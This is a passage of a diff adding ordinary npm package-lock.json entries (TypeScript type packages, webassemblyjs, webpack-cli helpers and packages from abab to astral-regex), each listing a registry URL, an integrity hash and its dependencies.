"node_modules/@types/jest": { + "version": "26.0.24", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-26.0.24.tgz", + "integrity": "sha512-E/X5Vib8BWqZNRlDxj9vYXhsDwPYbPINqKF9BsnSoon4RQ0D9moEuLD8txgyypFLH7J4+Lho9Nr/c8H0Fi+17w==", + "dev": true, + "dependencies": { + "jest-diff": "^26.0.0", + "pretty-format": "^26.0.0" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.11", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz", + "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ==" + }, + "node_modules/@types/mdast": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz", + "integrity": "sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA==", + "dev": true, + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/mime": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==", + "dev": true + }, + "node_modules/@types/minimist": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", + "integrity": "sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==", + "dev": true + }, + "node_modules/@types/node": { + "version": "14.18.12", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.12.tgz", + "integrity": "sha512-q4jlIR71hUpWTnGhXWcakgkZeHa3CCjcQcnuzU8M891BAWA2jHiziiWEPEkdS5pFsz7H9HJiy8BrK7tBRNrY7A==" + }, + "node_modules/@types/normalize-package-data": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", + "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==", + "dev": true + }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "node_modules/@types/prop-types": { + "version": "15.7.4", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.4.tgz", + "integrity": "sha512-rZ5drC/jWjrArrS8BR6SIr4cWpW09RNTYt9AMZo3Jwwif+iacXAqgVjm0B0Bv/S1jhDXKHqRVNCbACkJ89RAnQ==" + }, + "node_modules/@types/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==", + "dev": true + }, + "node_modules/@types/range-parser": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz", + "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==", + "dev": true + }, + "node_modules/@types/react": { + "version": "16.14.24", + "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.24.tgz", + "integrity": "sha512-e7U2WC8XQP/xfR7bwhOhNFZKPTfW1ph+MiqtudKb8tSV8RyCsovQx2sNVtKoOryjxFKpHPPC/yNiGfdeVM5Gyw==", + "dependencies": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "node_modules/@types/react-dom": { + "version": "16.9.14", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.14.tgz", + "integrity": "sha512-FIX2AVmPTGP30OUJ+0vadeIFJJ07Mh1m+U0rxfgyW34p3rTlXI+nlenvAxNn4BP36YyI9IJ/+UJ7Wu22N1pI7A==", + "dev": true, + "dependencies": { + "@types/react": "^16" + } + }, + "node_modules/@types/react-router": { + "version": "5.1.18", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.18.tgz", + "integrity": "sha512-YYknwy0D0iOwKQgz9v8nOzt2J6l4gouBmDnWqUUznltOTaon+r8US8ky8HvN0tXvc38U9m6z/t2RsVsnd1zM0g==", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*" + } + }, + "node_modules/@types/react-router-dom": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.3.tgz", + "integrity": "sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw==", + "dependencies": { + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router": "*" + } + }, + "node_modules/@types/react-table": { + "version": "6.8.9", + "resolved": "https://registry.npmjs.org/@types/react-table/-/react-table-6.8.9.tgz", + "integrity": "sha512-fVQXjy/EYDbgraScgjDONA291McKqGrw0R0NeK639fx2bS4T19TnXMjg3FjOPlkI3qYTQtFTPADlRYysaQIMpA==", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react-transition-group": { + "version": "4.4.4", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.4.tgz", + "integrity": "sha512-7gAPz7anVK5xzbeQW9wFBDg7G++aPLAFY0QaSMOou9rJZpbuI58WAuJrgu+qR92l61grlnCUe7AFX8KGahAgug==", + "dependencies": { + "@types/react": "*" + } + }, + "node_modules/@types/react/node_modules/csstype": { + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.11.tgz", + "integrity": "sha512-sa6P2wJ+CAbgyy4KFssIb/JNMLxFvKF1pCYCSXS8ZMuqZnMsrxqI2E5sPyoTpxoPU/gVZMzr2zjOfg8GIZOMsw==" + }, + "node_modules/@types/retry": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.1.tgz", + "integrity": "sha512-xoDlM2S4ortawSWORYqsdU+2rxdh4LRW9ytc3zmT37RIKQh6IHyKwwtKhKis9ah8ol07DCkZxPt8BBvPjC6v4g==", + "dev": true + }, + "node_modules/@types/scheduler": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==" + }, + "node_modules/@types/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==", + "dev": true, + "dependencies": { + "@types/express": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.13.10", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.13.10.tgz", + "integrity": "sha512-nCkHGI4w7ZgAdNkrEu0bv+4xNV/XDqW+DydknebMOQwkpDGx8G+HTlj7R7ABI8i8nKxVw0wtKPi1D+lPOkh4YQ==", + "dev": true, + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/sockjs": { + "version": "0.3.33", + "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz", + "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/unist": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", + "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==", + "dev": true + }, + "node_modules/@types/warning": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/warning/-/warning-3.0.0.tgz", + "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI=" + }, + "node_modules/@types/ws": { + "version": "8.5.3", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz", + "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yargs": { + "version": "15.0.14", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.14.tgz", + "integrity": "sha512-yEJzHoxf6SyQGhBhIYGXQDSCkJjB6HohDShto7m8vaKg9Yp0Yn8+71J9eakh2bnPg6BfsH9PRMhiRTZnd4eXGQ==", + "dev": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/@types/yargs-parser": { + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==", + "dev": true + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", + "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", + "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", + "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", + "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", + "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.1", + "@webassemblyjs/helper-api-error": "1.11.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", + "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", + "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", + "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", + "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", + "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", + "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/helper-wasm-section": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1", + "@webassemblyjs/wasm-opt": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1", + "@webassemblyjs/wast-printer": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", + "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/ieee754": "1.11.1", + "@webassemblyjs/leb128": "1.11.1", + "@webassemblyjs/utf8": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", + "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", + "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-api-error": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/ieee754": "1.11.1", + "@webassemblyjs/leb128": "1.11.1", + "@webassemblyjs/utf8": "1.11.1" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", + "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", + "dependencies": { + "@webassemblyjs/ast": "1.11.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webpack-cli/configtest": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.1.1.tgz", + "integrity": "sha512-1FBc1f9G4P/AxMqIgfZgeOTuRnwZMten8E7zap5zgpPInnCrP8D4Q81+4CWIch8i/Nf7nXjP0v6CjjbHOrXhKg==", + "dev": true, + "peerDependencies": { + "webpack": "4.x.x || 5.x.x", + "webpack-cli": "4.x.x" + } + }, + "node_modules/@webpack-cli/info": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-1.4.1.tgz", + "integrity": "sha512-PKVGmazEq3oAo46Q63tpMr4HipI3OPfP7LiNOEJg963RMgT0rqheag28NCML0o3GIzA3DmxP1ZIAv9oTX1CUIA==", + "dev": true, + "dependencies": { + "envinfo": "^7.7.3" + }, + "peerDependencies": { + "webpack-cli": "4.x.x" + } + }, + "node_modules/@webpack-cli/serve": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.6.1.tgz", + "integrity": "sha512-gNGTiTrjEVQ0OcVnzsRSqTxaBSr+dmTfm+qJsCDluky8uhdLWep7Gcr62QsAKHTMxjCS/8nEITsmFAhfIx+QSw==", + "dev": true, + "peerDependencies": { + "webpack-cli": "4.x.x" + }, + "peerDependenciesMeta": { + "webpack-dev-server": { + "optional": true + } + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" + }, + "node_modules/abab": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.5.tgz", + "integrity": "sha512-9IK9EadsbHo6jLWIpxpR6pL0sazTXV6+SQv25ZB+F7Bj9mJNaOc4nCRabwd5M/JwmUa8idz6Eci6eKfJryPs6Q==" + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dev": true, + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "dev": true, + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "dev": true, + "engines": [ + "node >= 0.8.0" + ], + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/array-flatten": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", + "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==", + "dev": true + }, + "node_modules/array-includes": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.4.tgz", + "integrity": "sha512-ZTNSQkmWumEbiHO2GF4GmWxYVTiQyJy2XOTa15sdQSrvKn7l+180egQMqlrMOUMCyLMD7pmyQe4mMDUT6Behrw==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1", + "get-intrinsic": "^1.1.1", + "is-string": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/array.prototype.flatmap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.2.5.tgz", + "integrity": "sha512-08u6rVyi1Lj7oqWbS9nUxliETrtIROT4XGTA4D/LWGten6E3ocm7cy9SIrmNHOL5XVbVuckUp3X6Xyg8/zpvHA==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/arrify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", + "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" + }, + "node_modules/ast-types": { + "version": "0.9.6", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/astral-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz", + "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==", + "dev": true, + "engines": { + "node": 